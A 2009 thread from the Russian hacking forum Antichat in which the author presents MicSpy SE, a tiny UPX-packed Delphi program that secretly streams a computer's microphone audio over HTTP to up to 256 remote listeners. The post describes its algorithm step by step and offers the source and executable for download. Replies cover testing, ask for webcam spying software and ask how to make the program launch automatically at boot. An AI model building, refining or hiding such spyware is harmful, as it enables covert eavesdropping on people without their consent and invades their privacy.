Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   MicSpy SE (Stream Edition) (https://forum.antichat.xyz/showthread.php?t=150676)

slesh 24.10.2009 01:09

MicSpy SE (Stream Edition)
 
Вложений: 1
MicSpy SE (Stream Edition)

Это собственно говоря небольшое продолжение идеи
микрофонного шпиона, но чуть с другой технологией работы.

Основные изменения:
1) отсутствует админка
2) запись больше не производится в файлы
3) скомпилить через альтернативные модули и упаковать UPX то размер будет 5632 байта т.е. как видно - существенно уменьшился размер
4) теперь данные передаются в псевдопотоковом режиме через сеть.
5) для прослушивания нужен желательно Winamp
6) возможность одновременного подключения 256 пользователей.

Алгоритм работы:
1) инициализируется формат записываемых данных
2) инит сокетов
3) ожидание подключения клиента
4) если есть клиент, то считывает http заголовок
5) если неудачно считался, то клиент отключается и ему посылается ответ HTTP/1.0 404 Not Found
6) если удачно считался заголовок то идут действия:
7) если клиентов 256 то клиент отключается и ему посылается ответ HTTP/1.0 404 Not Found
8) если первый клиент, то включает запись и добавляет сокет клиента в очередь на посылку данных
9) если не первый, то просто сокет добавляется в очередь посылки данных
10) если идет запись, и получены данные, то проверяется очередь сокетов и каждому сокету отправляется этот пакет
11) если данные не отправились (клиент отключился), то сокет закрывается и удаляется из очереди
12) если закрыт последний сокет то останавливается запись, чтобы не расходовать ресурсы.

Достоинства:
1) малый размер
2) нет нужды хранить файлы
3) нет нужды управлять записью, всё само идет.
4) прослушивание в реальном времени.
5) до 256 одновременных клиентов

Недостатки:
Как и во всём хорошем есть сво:е плохое )
1) трафик расходуется с заданным битрейтом записи.
В локалках - это норм. да и при существующем инете это уже не проблема.
2) получение HTTP заголовка от клиента - глючно сделано, по этому пока данные не получатся то второй клиент не подрубится. т.е. нужно просто сделать таймаут на сокет (на чтение) или заюзать select. Так что это решаемо.
3) т.к. реализована псевдопоточность, то довольно сложновато прослушать через браузер данные.
т.е. Quick Time отказался слушать почему то.

Зато Windows Media Player и WinAmp в легкую смогли получать данные по сети, достаточно было указать адрес http://xxx.xxx.xxx.xxx:4545/

Так вот небольшая доделка старого MicSpy сделанная за 2 часа )

В аттаче можно найти архив со следующими файлами:
1) MicSpySE.dpr - основной модуль
2) API.pas - список зающанных API функий
3) MicRec.pas - модуль отвечающий за запись и передачу данных
4) MicSpySE.exe - скомпиленный через альтернативные модули и упакованный UPX

P.P.S нашел шас глюк небольшой. забыл вставить
SendToClient(csocket, HeaderOK);
после
if SocketList.data[x] = 0 then
begin
т.е. в одном месте есть а в другом месте нету.
(C) SLESH

$Atlet$ 24.10.2009 09:26

Щас протестируем.

Софт для вебок когда нам ждать?)

slesh 24.10.2009 10:10

для камер софта скорее всего не будет. по причинам: дома нет ни одной камеры. так что тестить не удобно. да и к томуже нужно юзать директ ыкс и дс пак. а я их не люблю потому что это компоненты.

0ldbi4 24.10.2009 19:11

Вроде broadcast получается, но всётаки админка не помешала бы, можешь положить на свой сайт от сюда не скачать или на файло обменник

slesh 24.10.2009 19:49

2 0ldbi4
не. не broadcast.
broadcast это шифроковещаетльные. А тут данные передаются только клиентам которые подключились по TCP/IP. Админка не нужна, потому что запись начинается с приходом первого клиента и заканчивается после ухода последнего.

P.S. залил к себе на сайт http://slesh.name/

0ldbi4 24.10.2009 22:27

Спасибо скачал, протестил и вот опять какаято проблема с воспроизведением, в первой версии у меня запись при воспроизведении была значительно дольше нежеле я записывал, и нечего хоть немного реалистичного я не услышал, видимо ошибка кодека mp3...

slesh 24.10.2009 22:30

ну я вообще не заполняю никаких служебные заголовки. по идеи плеер сам должен определить. Эту версию я тестил в WinAMP и Win Media Player

slesh 24.10.2009 22:58

Кстати, чтобы красивее выглядило в винампе всё при прослушивании, нужно вводить линк
http://ip:4545/MicSpy%20Stream

alexanderkos 24.10.2009 23:40

А как сделать что при запуске программы автоматически она засаживалась в автозагрузку.

0ldbi4 25.10.2009 09:34

2alexanderkos написать установщик....


Время: 10:45